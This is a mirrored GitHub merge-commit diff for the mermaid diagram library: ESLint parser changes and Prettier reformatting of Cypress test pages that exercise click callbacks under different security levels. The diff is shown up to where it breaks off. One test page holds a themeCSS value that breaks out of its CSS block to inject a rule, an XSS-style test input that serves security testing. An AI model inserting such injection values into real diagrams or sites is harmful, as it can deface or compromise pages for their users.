mirror of
https://github.com/mermaid-js/mermaid.git
synced 2025-11-14 09:44:51 +01:00
Merge branch 'develop' into sidv/docs
* develop: chore: update browsers list Fix pre Prettier pass Fix XSS htmls fix #3407 Replace `div` with `pre` and format
This commit is contained in:
Sidharth Vinod
@@ -5,7 +5,7 @@
|
||||
"jest/globals": true,
|
||||
"node": true
|
||||
},
|
||||
"parser": "@babel/eslint-parser",
|
||||
"parser": "@typescript-eslint/parser",
|
||||
"parserOptions": {
|
||||
"ecmaFeatures": {
|
||||
"experimentalObjectRestSpread": true,
|
||||
@@ -20,7 +20,7 @@
|
||||
"plugin:markdown/recommended",
|
||||
"prettier"
|
||||
],
|
||||
"plugins": ["html", "jest", "jsdoc", "json"],
|
||||
"plugins": ["@typescript-eslint", "html", "jest", "jsdoc", "json"],
|
||||
"rules": {
|
||||
"no-prototype-builtins": "off",
|
||||
"no-unused-vars": "off",
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
demos/*.html
|
||||
cypress/**/*.html
|
||||
dist
|
||||
cypress/platform/xss3.html
|
||||
.cache
|
||||
@@ -1,31 +1,37 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
background: rgb(221, 208, 208);
|
||||
/*background:#333;*/
|
||||
font-family: 'Arial';
|
||||
}
|
||||
h1 { color: white;}
|
||||
}
|
||||
h1 {
|
||||
color: white;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
.customCss > rect, .customCss{
|
||||
fill:#FF0000 !important;
|
||||
stroke:#FFFF00 !important;
|
||||
stroke-width:4px !important;
|
||||
}
|
||||
.customCss > rect,
|
||||
.customCss {
|
||||
fill: #ff0000 !important;
|
||||
stroke: #ffff00 !important;
|
||||
stroke-width: 4px !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>info below</h1>
|
||||
<div class="mermaid" style="width: 100%; height: 20%;">
|
||||
<pre class="mermaid" style="width: 100%; height: 20%">
|
||||
%%{init: {'theme': 'base', 'fontFamily': 'courier', 'themeVariables': { 'primaryColor': '#fff000'}}}%%
|
||||
classDiagram
|
||||
class BankAccount{
|
||||
@@ -36,8 +42,8 @@
|
||||
}
|
||||
cssClass "BankAccount" customCss
|
||||
|
||||
</div>
|
||||
<div class="mermaid" style="width: 100%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid" style="width: 100%; height: 20%">
|
||||
%%{init: {'theme': 'base', 'fontFamily': 'courier', 'themeVariables': { 'primaryColor': '#fff000'}}}%%
|
||||
classDiagram-v2
|
||||
class BankAccount{
|
||||
@@ -47,9 +53,8 @@
|
||||
+withdrawl(amount) int
|
||||
}
|
||||
cssClass "BankAccount" customCss
|
||||
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%; height: 20%">
|
||||
%%{init: {'theme': 'base', 'fontFamily': 'courier', 'themeVariables': { 'primaryColor': '#fff000'}}}%%
|
||||
classDiagram
|
||||
class BankAccount{
|
||||
@@ -71,8 +76,8 @@
|
||||
}
|
||||
callback Class01 "callback" "A Tooltip"
|
||||
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%; height: 20%">
|
||||
flowchart TB
|
||||
a_a(Aftonbladet) --> b_b[gorilla]:::apa --> c_c{chimp}:::apa -->a_a
|
||||
a_a --> c --> d_d --> c_c
|
||||
@@ -80,9 +85,9 @@
|
||||
class a_a apa;
|
||||
click a_a "https://www.aftonbladet.se" "apa"
|
||||
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid2" style="width: 100%; height: 20%;">
|
||||
<pre class="mermaid2" style="width: 100%; height: 20%">
|
||||
classDiagram-v2
|
||||
|
||||
classA -- classB : Inheritance
|
||||
@@ -97,7 +102,7 @@
|
||||
classK ..> classL : Dependency
|
||||
classM ..|> classN : Realization
|
||||
classO .. classP : Link(Dashed)
|
||||
classA : +attr1
|
||||
classA : +attr1
|
||||
classA : attr2
|
||||
classA : method1()
|
||||
<<interface>> classB
|
||||
@@ -111,8 +116,8 @@
|
||||
class Shape
|
||||
callback Shape "callbackFunction" "This is a tooltip for a callback"
|
||||
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</pre>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -134,8 +139,8 @@
|
||||
securityLevel: 'loose',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,61 +1,60 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div style="display: flex">
|
||||
<div id="FirstLine" class="mermaid">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div style="display: flex">
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
graph TB
|
||||
Function-->URL
|
||||
click Function clickByFlow "Add a div"
|
||||
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
graph TB
|
||||
1Function--->2URL
|
||||
click 1Function clickByFlow "Add a div"
|
||||
click 2URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
flowchart TB
|
||||
Function-->URL
|
||||
click Function clickByFlow "Add a div"
|
||||
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>" _self
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
flowchart TB
|
||||
1Function--->2URL
|
||||
click 1Function clickByFlow "Add a div"
|
||||
click 2URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>" _self
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div id="FirstLine" class="mermaid">
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
classDiagram
|
||||
class ShapeLink
|
||||
link ShapeLink "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
|
||||
class ShapeCallback
|
||||
callback ShapeCallback "clickByClass" "This is a tooltip for a callback"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
classDiagram-v2
|
||||
class ShapeLink2
|
||||
link ShapeLink2 "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
|
||||
class ShapeCallback2
|
||||
callback ShapeCallback2 "clickByClass" "This is a tooltip for a callback"
|
||||
</div>
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
dateFormat YYYY-MM-DD
|
||||
axisFormat %d/%m
|
||||
@@ -94,77 +93,76 @@
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page : 20h
|
||||
Add another diagram to demo page : 48h
|
||||
</div>
|
||||
<div style="display: flex">
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<div style="display: flex">
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
graph TB
|
||||
FunctionArg-->URL
|
||||
click FunctionArg call clickByFlowArg(ARGUMENT) "Add a div"
|
||||
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
flowchart TB
|
||||
FunctionArg-->URL
|
||||
click FunctionArg call clickByFlowArg(ARGUMENT) "Add a div"
|
||||
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div id="FirstLine" class="mermaid">
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
classDiagram
|
||||
class ShapeLink
|
||||
link ShapeLink "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
|
||||
class ShapeCallback
|
||||
click ShapeCallback call clickByClass(123) "This is a tooltip for a callback"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div id="FirstLine" class="mermaid">
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
classDiagram-v2
|
||||
class ShapeLink2
|
||||
link ShapeLink2 "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
|
||||
class ShapeCallback2
|
||||
click ShapeCallback2 call clickByClass(123) "This is a tooltip for a callback"
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByFlowArg(argument) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click-2';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow: ' + argument;
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByFlowArg(argument) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click-2';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow: ' + argument;
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByGantt(arg1, arg2, arg3) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-gant-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Gant';
|
||||
if (arg1) div.innerText += ' ' + arg1;
|
||||
if (arg2) div.innerText += ' ' + arg2;
|
||||
if (arg3) div.innerText += ' ' + arg3;
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByGantt(arg1, arg2, arg3) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-gant-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Gant';
|
||||
if (arg1) div.innerText += ' ' + arg1;
|
||||
if (arg2) div.innerText += ' ' + arg2;
|
||||
if (arg3) div.innerText += ' ' + arg3;
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByClass(arg) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-class-click';
|
||||
div.style = 'padding: 20px; background: purple; color: white;';
|
||||
div.innerText = 'Clicked By Class' + (arg ? arg : '');
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByClass(arg) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-class-click';
|
||||
div.style = 'padding: 20px; background: purple; color: white;';
|
||||
div.innerText = 'Clicked By Class' + (arg ? arg : '');
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,26 +1,26 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
</head>
|
||||
<body>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
</head>
|
||||
<body>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
graph TB
|
||||
Function-->URL
|
||||
click Function clickByFlow "Add a div"
|
||||
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
graph TB
|
||||
1Function-->2URL
|
||||
click 1Function clickByFlow "Add a div"
|
||||
click 2URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
dateFormat YYYY-MM-DD
|
||||
axisFormat %d/%m
|
||||
@@ -57,27 +57,27 @@
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page : 20h
|
||||
Add another diagram to demo page : 48h
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByGantt(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-gant-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Gant';
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByGantt(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-gant-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Gant';
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'strct', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'strct', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,61 +1,60 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div style="display: flex">
|
||||
<div id="FirstLine" class="mermaid">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div style="display: flex">
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
graph TB
|
||||
Function-->URL
|
||||
click Function clickByFlow "Add a div"
|
||||
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
graph TB
|
||||
1Function--->2URL
|
||||
click 1Function clickByFlow "Add a div"
|
||||
click 2URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
flowchart TB
|
||||
Function-->URL
|
||||
click Function clickByFlow "Add a div"
|
||||
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>" _self
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
flowchart TB
|
||||
1Function--->2URL
|
||||
click 1Function clickByFlow "Add a div"
|
||||
click 2URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>" _self
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div id="FirstLine" class="mermaid">
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
classDiagram
|
||||
class ShapeLink
|
||||
link ShapeLink "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
|
||||
class ShapeCallback
|
||||
callback ShapeCallback "clickByClass" "This is a tooltip for a callback"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
classDiagram-v2
|
||||
class ShapeLink2
|
||||
link ShapeLink2 "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
|
||||
class ShapeCallback2
|
||||
callback ShapeCallback2 "clickByClass" "This is a tooltip for a callback"
|
||||
</div>
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
dateFormat YYYY-MM-DD
|
||||
axisFormat %d/%m
|
||||
@@ -94,77 +93,76 @@
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page : 20h
|
||||
Add another diagram to demo page : 48h
|
||||
</div>
|
||||
<div style="display: flex">
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<div style="display: flex">
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
graph TB
|
||||
FunctionArg-->URL
|
||||
click FunctionArg call clickByFlowArg(ARGUMENT) "Add a div"
|
||||
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
flowchart TB
|
||||
FunctionArg-->URL
|
||||
click FunctionArg call clickByFlowArg(ARGUMENT) "Add a div"
|
||||
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div id="FirstLine" class="mermaid">
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
classDiagram
|
||||
class ShapeLink
|
||||
link ShapeLink "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
|
||||
class ShapeCallback
|
||||
click ShapeCallback call clickByClass(123) "This is a tooltip for a callback"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div id="FirstLine" class="mermaid">
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
classDiagram-v2
|
||||
class ShapeLink2
|
||||
link ShapeLink2 "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
|
||||
class ShapeCallback2
|
||||
click ShapeCallback2 call clickByClass(123) "This is a tooltip for a callback"
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByFlowArg(argument) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click-2';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow: ' + argument;
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByFlowArg(argument) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click-2';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow: ' + argument;
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByGantt(arg1, arg2, arg3) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-gant-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Gant';
|
||||
if (arg1) div.innerText += ' ' + arg1;
|
||||
if (arg2) div.innerText += ' ' + arg2;
|
||||
if (arg3) div.innerText += ' ' + arg3;
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByGantt(arg1, arg2, arg3) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-gant-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Gant';
|
||||
if (arg1) div.innerText += ' ' + arg1;
|
||||
if (arg2) div.innerText += ' ' + arg2;
|
||||
if (arg3) div.innerText += ' ' + arg3;
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByClass(arg) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-class-click';
|
||||
div.style = 'padding: 20px; background: purple; color: white;';
|
||||
div.innerText = 'Clicked By Class' + (arg ? arg : '');
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByClass(arg) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-class-click';
|
||||
div.style = 'padding: 20px; background: purple; color: white;';
|
||||
div.innerText = 'Clicked By Class' + (arg ? arg : '');
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'sandbox', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'sandbox', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,26 +1,26 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
</head>
|
||||
<body>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
</head>
|
||||
<body>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
graph TB
|
||||
Function-->URL
|
||||
click Function clickByFlow "Add a div"
|
||||
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
graph TB
|
||||
1Function-->2URL
|
||||
click 1Function clickByFlow "Add a div"
|
||||
click 2URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
dateFormat YYYY-MM-DD
|
||||
axisFormat %d/%m
|
||||
@@ -59,30 +59,30 @@
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page : 20h
|
||||
Add another diagram to demo page : 48h
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByGantt(arg1, arg2, arg3) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-gant-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Gant';
|
||||
if (arg1) div.innerText += ' ' + arg1;
|
||||
if (arg2) div.innerText += ' ' + arg2;
|
||||
if (arg3) div.innerText += ' ' + arg3;
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByGantt(arg1, arg2, arg3) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-gant-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Gant';
|
||||
if (arg1) div.innerText += ' ' + arg1;
|
||||
if (arg2) div.innerText += ' ' + arg2;
|
||||
if (arg3) div.innerText += ' ' + arg3;
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'strict', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'strict', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,23 +1,23 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
body {
|
||||
font-family: 'trebuchet ms', verdana, arial;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="mermaid2">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
body {
|
||||
font-family: 'trebuchet ms', verdana, arial;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<pre class="mermaid2">
|
||||
%%{init: { 'themeCSS': '} * { background: lightblue }' } }%%
|
||||
flowchart TD
|
||||
a --> b
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
